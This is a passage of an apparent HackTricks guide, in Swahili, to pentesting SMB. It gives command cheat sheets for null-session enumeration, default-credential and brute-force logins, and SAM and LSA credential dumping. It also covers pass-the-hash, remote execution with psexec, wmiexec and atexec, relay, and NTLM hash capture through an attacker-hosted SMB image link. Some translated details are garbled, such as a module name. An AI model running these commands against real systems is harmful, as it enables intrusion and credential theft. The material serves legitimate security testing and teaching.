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28 KiB
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564 lines
28 KiB
Markdown
# 139,445 - Kupima Usalama wa SMB
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<details>
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<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
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Njia nyingine za kusaidia HackTricks:
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* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
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* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
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* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
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* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
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* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
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</details>
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## **Bandari 139**
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_**Mfumo wa Msingi wa Kuingiza na Kutoa Mtandao**_** (NetBIOS)** ni itifaki ya programu iliyoundwa kuruhusu programu, PC, na Desktops ndani ya mtandao wa eneo la karibu (LAN) kuingiliana na vifaa vya mtandao na **kurahisisha uhamishaji wa data kote kwenye mtandao**. Kutambua na mahali pa programu zinazoendesha kwenye mtandao wa NetBIOS hufikiwa kupitia majina yao ya NetBIOS, ambayo yanaweza kuwa na urefu wa wahusika 16 na mara nyingi ni tofauti na jina la kompyuta. Kikao cha NetBIOS kati ya programu mbili huanzishwa wakati programu moja (ikiwa kama mteja) inatoa amri ya "kuita" programu nyingine (ikiwa kama seva) kutumia **Bandari ya TCP 139**.
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```
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139/tcp open netbios-ssn Microsoft Windows netbios-ssn
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```
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## Bandari 445
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Kiteknolojia, Bandari 139 inajulikana kama 'NBT juu ya IP', wakati Bandari 445 inatambulika kama 'SMB juu ya IP'. Kifupisho **SMB** kumaanisha '**Server Message Blocks**', ambacho pia hujulikana kama **Common Internet File System (CIFS)**. Kama protokali ya mtandao wa safu ya maombi, SMB/CIFS hutumiwa hasa kuwezesha ufikiaji wa pamoja wa faili, printa, bandari za serial, na kurahisisha aina mbalimbali za mawasiliano kati ya nodi kwenye mtandao.
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Kwa mfano, katika muktadha wa Windows, inasisitizwa kwamba SMB inaweza kufanya kazi moja kwa moja juu ya TCP/IP, ikiondoa ulazima wa NetBIOS juu ya TCP/IP, kupitia matumizi ya bandari 445. Kinyume chake, kwenye mifumo tofauti, matumizi ya bandari 139 yanazingatiwa, ikionyesha kuwa SMB inatekelezwa pamoja na NetBIOS juu ya TCP/IP.
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```
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445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
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```
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### SMB
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**Itifaki ya Server Message Block (SMB)**, ikifanya kazi katika mfano wa **mteja-seva**, imeundwa kwa ajili ya kudhibiti **upatikanaji wa faili**, saraka, na rasilimali nyingine za mtandao kama vile wachapishaji na rutuba. Kutumika kuu ndani ya mfululizo wa mifumo ya uendeshaji wa **Windows**, SMB inahakikisha utangamano wa nyuma, kuruhusu vifaa vyenye toleo jipya la mfumo wa uendeshaji wa Microsoft kufanya kazi kwa urahisi na vile vilivyo na toleo la zamani. Aidha, mradi wa **Samba** hutoa suluhisho huru la programu, kuruhusu utekelezaji wa SMB kwenye mifumo ya **Linux** na Unix, hivyo kurahisisha mawasiliano ya msalaba-jukwaa kupitia SMB.
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Hisani, zinazowakilisha **sehemu za kiholela za mfumo wa faili wa ndani**, zinaweza kutolewa na seva ya SMB, ikifanya hiyo muundo uonekane kwa mteja kwa sehemu **isiyo tegemezi** kabisa kwa muundo halisi wa seva. **Orodha za Kudhibiti Upatikanaji (ACLs)**, ambazo hufafanua **haki za upatikanaji**, huruhusu **udhibiti wa kina** juu ya ruhusa za mtumiaji, ikiwa ni pamoja na sifa kama **`utekelezaji`**, **`soma`**, na **`upatikanaji kamili`**. Ruhusa hizi zinaweza kutolewa kwa watumiaji binafsi au vikundi, kulingana na hisani, na ni tofauti na ruhusa za ndani zilizowekwa kwenye seva.
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### Hisani ya IPC$
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Upatikanaji wa hisani ya IPC$ unaweza kupatikana kupitia kikao tupu la kutokuwa na jina, kuruhusu mwingiliano na huduma zilizofunuliwa kupitia mabomba yaliyopewa majina. Zana ya `enum4linux` ni muhimu kwa lengo hili. Ikitumiwa ipasavyo, inawezesha kupata:
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* Taarifa kuhusu mfumo wa uendeshaji
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* Maelezo kuhusu kikoa cha mzazi
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* Orodha ya watumiaji na vikundi vya ndani
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* Taarifa kuhusu hisani za SMB zilizopo
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* Sera ya usalama ya mfumo inayofanya kazi
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Kazi hii ni muhimu kwa watawala wa mtandao na wataalamu wa usalama kuchunguza hali ya usalama wa huduma za SMB (Server Message Block) kwenye mtandao. `enum4linux` hutoa mtazamo kamili wa mazingira ya SMB ya mfumo lengwa, ambayo ni muhimu kwa kutambua mapungufu yanayowezekana na kuhakikisha kuwa huduma za SMB zimehakikishiwa ipasavyo.
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```bash
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enum4linux -a target_ip
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```
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Amri hapo juu ni mfano wa jinsi `enum4linux` inaweza kutumika kufanya uchambuzi kamili dhidi ya lengo lililoelezwa na `target_ip`.
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## **NTLM ni nini**
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Ikiwa haujui ni nini NTLM au unataka kujua jinsi inavyofanya kazi na jinsi ya kuitumia vibaya, utapata ukurasa huu kuhusu **NTLM** kuwa wa kuvutia sana ambapo imeelezwa **jinsi itifaki hii inavyofanya kazi na jinsi unavyoweza kunufaika nayo:**
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{% content-ref url="../windows-hardening/ntlm/" %}
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[ntlm](../windows-hardening/ntlm/)
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{% endcontent-ref %}
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## **Uchambuzi wa Seva**
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### **Skeni** mtandao ukitafuta mwenyeji:
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```bash
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nbtscan -r 192.168.0.1/24
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```
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### Toleo la seva ya SMB
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Ili kutafuta udhaifu wa toleo la SMB ni muhimu kujua ni toleo gani linatumika. Ikiwa habari hii haionekani katika zana zingine zilizotumiwa, unaweza:
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- Tumia moduli ya **MSF** ya ziada \_**auxiliary/scanner/smb/smb\_version**
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- Au tumia script hii:
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```bash
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#!/bin/sh
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#Author: rewardone
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#Description:
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# Requires root or enough permissions to use tcpdump
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# Will listen for the first 7 packets of a null login
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# and grab the SMB Version
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#Notes:
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# Will sometimes not capture or will print multiple
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# lines. May need to run a second time for success.
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if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi
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if [ ! -z $2 ]; then rport=$2; else rport=139; fi
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tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' | grep -oP 'UnixSamba.*[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " &
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echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
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echo "" && sleep .1
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```
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### **Tafuta mwanya**
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```bash
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msf> search type:exploit platform:windows target:2008 smb
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searchsploit microsoft smb
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```
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### **Vibali** Vinavyowezekana
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| **Jina la mtumiaji** | **Nywila za kawaida** |
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| -------------------- | ----------------------------------------- |
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| _(blank)_ | _(blank)_ |
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| mgeni | _(blank)_ |
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| Msimamizi, admin | _(blank)_, nywila, msimamizi, admin |
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| arcserve | arcserve, backup |
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| tivoli, tmersrvd | tivoli, tmersrvd, admin |
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| backupexec, backup | backupexec, backup, arcada |
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| jaribio, maabara, demo | nywila, jaribio, maabara, demo |
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### Kuvunja nguvu
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* [**Kuvunja Nguvu SMB**](../generic-methodologies-and-resources/brute-force.md#smb)
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### Taarifa za Mazingira ya SMB
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### Kupata Taarifa
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```bash
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#Dump interesting information
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enum4linux -a [-u "<username>" -p "<passwd>"] <IP>
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enum4linux-ng -A [-u "<username>" -p "<passwd>"] <IP>
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nmap --script "safe or smb-enum-*" -p 445 <IP>
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#Connect to the rpc
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rpcclient -U "" -N <IP> #No creds
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rpcclient //machine.htb -U domain.local/USERNAME%754d87d42adabcca32bdb34a876cbffb --pw-nt-hash
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rpcclient -U "username%passwd" <IP> #With creds
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#You can use querydispinfo and enumdomusers to query user information
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#Dump user information
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/usr/share/doc/python3-impacket/examples/samrdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
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/usr/share/doc/python3-impacket/examples/samrdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
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#Map possible RPC endpoints
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/usr/share/doc/python3-impacket/examples/rpcdump.py -port 135 [[domain/]username[:password]@]<targetName or address>
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/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
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/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
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```
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### Pata Watumiaji, Vikundi & Watumiaji Walioingia
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Taarifa hii inapaswa tayari kukusanywa kutoka kwa enum4linux na enum4linux-ng
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```bash
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crackmapexec smb 10.10.10.10 --users [-u <username> -p <password>]
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crackmapexec smb 10.10.10.10 --groups [-u <username> -p <password>]
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crackmapexec smb 10.10.10.10 --groups --loggedon-users [-u <username> -p <password>]
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ldapsearch -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "(&(objectclass=user))" -h 10.10.10.10 | grep -i samaccountname: | cut -f 2 -d " "
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rpcclient -U "" -N 10.10.10.10
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enumdomusers
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enumdomgroups
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```
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### Kagua watumiaji wa ndani
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[Impacket](https://github.com/fortra/impacket/blob/master/examples/lookupsid.py)
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```bash
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lookupsid.py -no-pass hostname.local
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```
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Mstari mmoja
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```bash
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for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done
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```
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### Metasploit - Kuchunguza watumiaji wa ndani
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```bash
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use auxiliary/scanner/smb/smb_lookupsid
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set rhosts hostname.local
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run
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```
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### **Kuorodhesha LSARPC na SAMR rpcclient**
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{% content-ref url="pentesting-smb/rpcclient-enumeration.md" %}
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[rpcclient-enumeration.md](pentesting-smb/rpcclient-enumeration.md)
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{% endcontent-ref %}
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### Uunganisho wa GUI kutoka linux
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#### Katika terminali:
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`xdg-open smb://cascade.htb/`
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#### Katika dirisha la kivinjari cha faili (nautilus, thunar, nk)
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`smb://friendzone.htb/general/`
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## Uorodheshaji wa Folda Zilizoshirikiwa
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### Orodhesha folda zilizoshirikiwa
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Daima ni vyema kutazama ikiwa unaweza kupata kitu chochote, ikiwa huna sifa jaribu kutumia **sifa za null/mgeni**.
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```bash
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smbclient --no-pass -L //<IP> # Null user
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smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
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smbmap -H <IP> [-P <PORT>] #Null user
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smbmap -u "username" -p "password" -H <IP> [-P <PORT>] #Creds
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smbmap -u "username" -p "<NT>:<LM>" -H <IP> [-P <PORT>] #Pass-the-Hash
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smbmap -R -u "username" -p "password" -H <IP> [-P <PORT>] #Recursive list
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crackmapexec smb <IP> -u '' -p '' --shares #Null user
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crackmapexec smb <IP> -u 'username' -p 'password' --shares #Guest user
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crackmapexec smb <IP> -u 'username' -H '<HASH>' --shares #Guest user
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```
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### **Kuunganisha/Orodhesha folda iliyoshirikiwa**
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```bash
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#Connect using smbclient
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smbclient --no-pass //<IP>/<Folder>
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smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
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#Use --no-pass -c 'recurse;ls' to list recursively with smbclient
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#List with smbmap, without folder it list everything
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smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # Recursive list
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smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list
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smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash
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```
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### **Kuchunguza kwa Mkono sehemu za Windows na kuunganisha kwazo**
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Inawezekana kwamba umepigwa marufuku kuonyesha sehemu yoyote ya kompyuta mwenyeji na unapojaribu kuziorodhesha inaonekana kana kwamba hakuna sehemu za kuunganisha. Hivyo inaweza kuwa na maana kujaribu kuunganisha kwa mkono kwenye sehemu. Kuchunguza sehemu kwa mkono unaweza kutaka kutafuta majibu kama NT\_STATUS\_ACCESS\_DENIED na NT\_STATUS\_BAD\_NETWORK\_NAME, unapotumia kikao halali (k.m. kikao cha null au sifa halali). Hizi zinaweza kuonyesha ikiwa sehemu ipo na huna ufikivu kwake au sehemu haipo kabisa.
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Jina la kawaida la sehemu kwa malengo ya Windows ni
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* C$
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* D$
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* ADMIN$
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* IPC$
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* PRINT$
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* FAX$
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* SYSVOL
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* NETLOGON
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(Jina la kawaida la sehemu kutoka _**Tathmini ya Usalama wa Mtandao toleo la 3**_)
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Unaweza kujaribu kuunganisha kwazo kwa kutumia amri ifuatayo
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```bash
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smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
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smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
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```
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au skripti hii (ikiwa inatumia kikao cha null)
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```bash
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#/bin/bash
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ip='<TARGET-IP-HERE>'
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shares=('C$' 'D$' 'ADMIN$' 'IPC$' 'PRINT$' 'FAX$' 'SYSVOL' 'NETLOGON')
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for share in ${shares[*]}; do
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output=$(smbclient -U '%' -N \\\\$ip\\$share -c '')
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if [[ -z $output ]]; then
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echo "[+] creating a null session is possible for $share" # no output if command goes through, thus assuming that a session was created
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else
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echo $output # echo error message (e.g. NT_STATUS_ACCESS_DENIED or NT_STATUS_BAD_NETWORK_NAME)
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fi
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done
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```
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### Mifano
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1. **Enumerating SMB Shares**
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Kwa kutumia amri ya `smbclient`, unaweza kutambua hisa zilizopo kwenye mfumo wa SMB:
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```bash
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smbclient -L //<IP_ADDRESS>
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```
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2. **Brute Forcing SMB Login**
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Unaweza kutumia zana kama `Hydra` kufanya jaribio la kuingia kwa nguvu kwenye seva ya SMB:
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```bash
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hydra -l <USERNAME> -P <WORDLIST> smb://<IP_ADDRESS>
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```
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3. **Exploiting SMB Vulnerabilities**
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Kwa kutumia zana kama `Metasploit`, unaweza kutumia msimbo wa kudhibitiwa kwa mbali (RCE) au mashambulizi mengine kwenye seva ya SMB iliyodhoofishwa.
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```bash
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smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
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smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
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```
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### **Kutambua hisa kutoka kwa Windows / bila zana za tatu**
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PowerShell
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```powershell
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# Retrieves the SMB shares on the locale computer.
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Get-SmbShare
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Get-WmiObject -Class Win32_Share
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# Retrieves the SMB shares on a remote computer.
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get-smbshare -CimSession "<computer name or session object>"
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# Retrieves the connections established from the local SMB client to the SMB servers.
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Get-SmbConnection
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```
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**Konsoli ya CMD**
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```shell
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# List shares on the local computer
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net share
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# List shares on a remote computer (including hidden ones)
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net view \\<ip> /all
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```
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MMC Snap-in (grafiki)
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```shell
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# Shared Folders: Shared Folders > Shares
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fsmgmt.msc
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# Computer Management: Computer Management > System Tools > Shared Folders > Shares
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compmgmt.msc
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```
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explorer.exe (grafiki), ingiza `\\<ip>\` kuona hisa zilizopo zisizofichwa.
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### Sakinisha folda iliyoshirikiwa
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```bash
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mount -t cifs //x.x.x.x/share /mnt/share
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mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
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```
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### **Pakua faili**
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Soma sehemu zilizopita kujifunza jinsi ya kuunganisha kwa kutumia sifa/Pass-the-Hash.
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```bash
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#Search a file and download
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sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
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```
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```bash
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#Download all
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smbclient //<IP>/<share>
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> mask ""
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> recurse
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> prompt
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> mget *
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#Download everything to current directory
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```
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### Utafutaji wa Folda Zilizoshirikiwa za Domain
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* [**Snaffler**](https://github.com/SnaffCon/Snaffler)\*\*\*\*
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```bash
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Snaffler.exe -s -d domain.local -o snaffler.log -v data
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```
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* [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) buibui.
|
||
* `-M buibui_plus [--share <jina_la_share>]`
|
||
* `--muundo txt`
|
||
```bash
|
||
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
|
||
```
|
||
Ni maalum kutoka kwa hisa ni faili zinazoitwa **`Registry.xml`** kwani zinaweza **kuwa na nywila** za watumiaji walioconfigure na **autologon** kupitia Group Policy. Au faili za **`web.config`** kwani zina nywila.
|
||
|
||
{% hint style="info" %}
|
||
Hisa ya **SYSVOL** inaweza **kusomwa** na watumiaji wote waliothibitishwa kwenye uwanja. Ndani yake unaweza **kupata** mistari mingi tofauti ya amri, VBScript, na PowerShell.\
|
||
Unapaswa **kuangalia** mistari hiyo kwani unaweza **kupata** habari nyeti kama **nywila**.
|
||
{% endhint %}
|
||
|
||
## Soma Usajili
|
||
|
||
Unaweza **kusoma usajili** ukitumia nywila zilizopatikana. Impacket **`reg.py`** inakuruhusu kujaribu:
|
||
```bash
|
||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
|
||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
|
||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s
|
||
```
|
||
## Baada ya Kudukuliwa
|
||
|
||
Mazingira ya msingi ya seva ya **Samba** kawaida hupatikana katika `/etc/samba/smb.conf` na inaweza kuwa na mipangilio michache **hatari**:
|
||
|
||
| **Mipangilio** | **Maelezo** |
|
||
| --------------------------- | ------------------------------------------------------------------- |
|
||
| `browseable = yes` | Kuruhusu orodha ya hisa zilizopo katika hisa ya sasa? |
|
||
| `read only = no` | Kukataza uundaji na marekebisho ya faili? |
|
||
| `writable = yes` | Kuruhusu watumiaji kuunda na kurekebisha faili? |
|
||
| `guest ok = yes` | Kuruhusu kuunganisha kwenye huduma bila kutumia nenosiri? |
|
||
| `enable privileges = yes` | Kuheshimu mamlaka zilizopewa SID maalum? |
|
||
| `create mask = 0777` | Mamlaka zipi zinapaswa kupewa faili zilizoundwa hivi karibuni? |
|
||
| `directory mask = 0777` | Mamlaka zipi zinapaswa kupewa saraka zilizoundwa hivi karibuni? |
|
||
| `logon script = script.sh` | Ni skripti ipi inahitaji kutekelezwa wakati wa kuingia kwa mtumiaji?|
|
||
| `magic script = script.sh` | Skripti ipi inapaswa kutekelezwa wakati skripti inapofungwa? |
|
||
| `magic output = script.out` | Mahali ambapo matokeo ya skripti ya kichawi yanapaswa kuhifadhiwa? |
|
||
|
||
Amri `smbstatus` hutoa habari kuhusu **seva** na kuhusu **nani ameunganishwa**.
|
||
|
||
## Thibitisha kwa Kutumia Kerberos
|
||
|
||
Unaweza **kuthibitisha** kwa **kerberos** kutumia zana za **smbclient** na **rpcclient**:
|
||
```bash
|
||
smbclient --kerberos //ws01win10.domain.com/C$
|
||
rpcclient -k ws01win10.domain.com
|
||
```
|
||
## **Tekeleza Amri**
|
||
|
||
### **crackmapexec**
|
||
|
||
crackmapexec inaweza kutekeleza amri **kwa kudhuru** yoyote kati ya **mmcexec, smbexec, atexec, wmiexec** ikiwa **wmiexec** ndio njia ya **msingi**. Unaweza kusema ni chaguo gani unapendelea kutumia kwa kutumia parameter `--exec-method`:
|
||
```bash
|
||
apt-get install crackmapexec
|
||
|
||
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable' #Execute Powershell
|
||
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x whoami #Excute cmd
|
||
crackmapexec smb 192.168.10.11 -u Administrator -H <NTHASH> -x whoami #Pass-the-Hash
|
||
# Using --exec-method {mmcexec,smbexec,atexec,wmiexec}
|
||
|
||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sam #Dump SAM
|
||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --lsa #Dump LSASS in memmory hashes
|
||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sessions #Get sessions (
|
||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --loggedon-users #Get logged-on users
|
||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --disks #Enumerate the disks
|
||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --users #Enumerate users
|
||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --groups # Enumerate groups
|
||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --local-groups # Enumerate local groups
|
||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --pass-pol #Get password policy
|
||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --rid-brute #RID brute
|
||
|
||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
|
||
```
|
||
### [**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md)**/**[**smbexec**](../windows-hardening/ntlm/smbexec.md)
|
||
|
||
Chaguo zote **zitajenga huduma mpya** (kwa kutumia _\pipe\svcctl_ kupitia SMB) kwenye mashine ya mwathiriwa na kuitumia kwa **kutekeleza kitu** (**psexec** ita **pakia** faili ya kutekelezeka kwenye sehemu ya ADMIN$ na **smbexec** itaelekeza kwa **cmd.exe/powershell.exe** na kuweka katika hoja ya malipo --**njia isiyo na faili-**-).\
|
||
**Maelezo zaidi** kuhusu [**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md) na [**smbexec**](../windows-hardening/ntlm/smbexec.md).\
|
||
Kwenye **kali** inapatikana kwenye /usr/share/doc/python3-impacket/examples/
|
||
```bash
|
||
#If no password is provided, it will be prompted
|
||
./psexec.py [[domain/]username[:password]@]<targetName or address>
|
||
./psexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
|
||
psexec \\192.168.122.66 -u Administrator -p 123456Ww
|
||
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
|
||
```
|
||
Kwa kutumia **parameter** `-k` unaweza kujithibitisha dhidi ya **kerberos** badala ya **NTLM**
|
||
|
||
### [wmiexec](../windows-hardening/ntlm/wmicexec.md)/dcomexec
|
||
|
||
Kutekeleza amri ya shell bila kugusa diski au kuendesha huduma mpya kwa kutumia DCOM kupitia **bandari 135.**\
|
||
Kwenye **kali** inapatikana kwenye /usr/share/doc/python3-impacket/examples/
|
||
```bash
|
||
#If no password is provided, it will be prompted
|
||
./wmiexec.py [[domain/]username[:password]@]<targetName or address> #Prompt for password
|
||
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
|
||
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
|
||
```
|
||
Kwa kutumia **parameter** `-k` unaweza kujithibitisha dhidi ya **kerberos** badala ya **NTLM**
|
||
```bash
|
||
#If no password is provided, it will be prompted
|
||
./dcomexec.py [[domain/]username[:password]@]<targetName or address>
|
||
./dcomexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
|
||
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
|
||
```
|
||
### [AtExec](../windows-hardening/ntlm/atexec.md)
|
||
|
||
Tekeleza amri kupitia Mipangilio ya Kazi (ikiwa ni pamoja na _\pipe\atsvc_ kupitia SMB).\
|
||
Katika **kali** iko kwenye /usr/share/doc/python3-impacket/examples/
|
||
```bash
|
||
./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
|
||
./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami"
|
||
```
|
||
## Marejeo ya Impacket
|
||
|
||
[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)
|
||
|
||
## **Kuvunja nguvu siri za watumiaji**
|
||
|
||
**Hii sio inapendekezwa, unaweza kuzuia akaunti ikiwa unazidi majaribio yanayoruhusiwa**
|
||
```bash
|
||
nmap --script smb-brute -p 445 <IP>
|
||
ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name
|
||
```
|
||
## Shambulio la kurejelea SMB
|
||
|
||
Shambulio hili hutumia zana ya Responder kukamata vikao vya **uthibitisho wa SMB** kwenye mtandao wa ndani, na **kuvirejelea** kwa **mashine ya lengo**. Ikiwa **kikao cha uthibitisho** kitafanikiwa, itakuingiza moja kwa moja kwenye **kifaa cha mfumo**.\
|
||
[**Maelezo zaidi kuhusu shambulio hili hapa.**](../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||
|
||
## SMB-Trap
|
||
|
||
Thibitisho la Windows la URLMon.dll kiotomatiki hujaribu kuthibitisha kwa mwenyeji wakati ukurasa unajaribu kupata baadhi ya maudhui kupitia SMB, kwa mfano: `img src="\\10.10.10.10\path\image.jpg"`
|
||
|
||
Hii hufanyika na kazi zifuatazo:
|
||
|
||
* URLDownloadToFile
|
||
* URLDownloadToCache
|
||
* URLOpenStream
|
||
* URLOpenBlockingStream
|
||
|
||
Ambazo hutumiwa na baadhi ya vivinjari na zana (kama vile Skype)
|
||
|
||
.png>)
|
||
|
||
### SMBTrap kutumia MitMf
|
||
|
||
.png>)
|
||
|
||
## Wizi wa NTLM
|
||
|
||
Kama ilivyo kwa Shambulio la SMB Trapping, kupanda faili zenye nia mbaya kwenye mfumo wa lengo (kupitia SMB, kwa mfano) kunaweza kusababisha jaribio la uthibitisho wa SMB, kuruhusu hash ya NetNTLMv2 ikamatwe na zana kama vile Responder. Hash hiyo inaweza kisha kuvunjwa nje ya mtandao au kutumika katika [shambulio la kurejelea SMB](pentesting-smb.md#smb-relay-attack).
|
||
|
||
[Tazama: ntlm\_theft](../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm\_theft)
|
||
|
||
## Amri za Kiotomatiki za HackTricks
|
||
```
|
||
Protocol_Name: SMB #Protocol Abbreviation if there is one.
|
||
Port_Number: 137,138,139 #Comma separated if there is more than one.
|
||
Protocol_Description: Server Message Block #Protocol Abbreviation Spelled out
|
||
|
||
Entry_1:
|
||
Name: Notes
|
||
Description: Notes for SMB
|
||
Note: |
|
||
While Port 139 is known technically as ‘NBT over IP’, Port 445 is ‘SMB over IP’. SMB stands for ‘Server Message Blocks’. Server Message Block in modern language is also known as Common Internet File System. The system operates as an application-layer network protocol primarily used for offering shared access to files, printers, serial ports, and other sorts of communications between nodes on a network.
|
||
|
||
#These are the commands I run in order every time I see an open SMB port
|
||
|
||
With No Creds
|
||
nbtscan {IP}
|
||
smbmap -H {IP}
|
||
smbmap -H {IP} -u null -p null
|
||
smbmap -H {IP} -u guest
|
||
smbclient -N -L //{IP}
|
||
smbclient -N //{IP}/ --option="client min protocol"=LANMAN1
|
||
rpcclient {IP}
|
||
rpcclient -U "" {IP}
|
||
crackmapexec smb {IP}
|
||
crackmapexec smb {IP} --pass-pol -u "" -p ""
|
||
crackmapexec smb {IP} --pass-pol -u "guest" -p ""
|
||
GetADUsers.py -dc-ip {IP} "{Domain_Name}/" -all
|
||
GetNPUsers.py -dc-ip {IP} -request "{Domain_Name}/" -format hashcat
|
||
GetUserSPNs.py -dc-ip {IP} -request "{Domain_Name}/"
|
||
getArch.py -target {IP}
|
||
|
||
With Creds
|
||
smbmap -H {IP} -u {Username} -p {Password}
|
||
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP}
|
||
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`
|
||
crackmapexec smb {IP} -u {Username} -p {Password} --shares
|
||
GetADUsers.py {Domain_Name}/{Username}:{Password} -all
|
||
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
|
||
GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request
|
||
|
||
https://book.hacktricks.xyz/pentesting/pentesting-smb
|
||
|
||
Entry_2:
|
||
Name: Enum4Linux
|
||
Description: General SMB Scan
|
||
Command: enum4linux -a {IP}
|
||
|
||
Entry_3:
|
||
Name: Nmap SMB Scan 1
|
||
Description: SMB Vuln Scan With Nmap
|
||
Command: nmap -p 139,445 -vv -Pn --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse {IP}
|
||
|
||
Entry_4:
|
||
Name: Nmap Smb Scan 2
|
||
Description: SMB Vuln Scan With Nmap (Less Specific)
|
||
Command: nmap --script 'smb-vuln*' -Pn -p 139,445 {IP}
|
||
|
||
Entry_5:
|
||
Name: Hydra Brute Force
|
||
Description: Need User
|
||
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} {IP} smb
|
||
|
||
Entry_6:
|
||
Name: SMB/SMB2 139/445 consolesless mfs enumeration
|
||
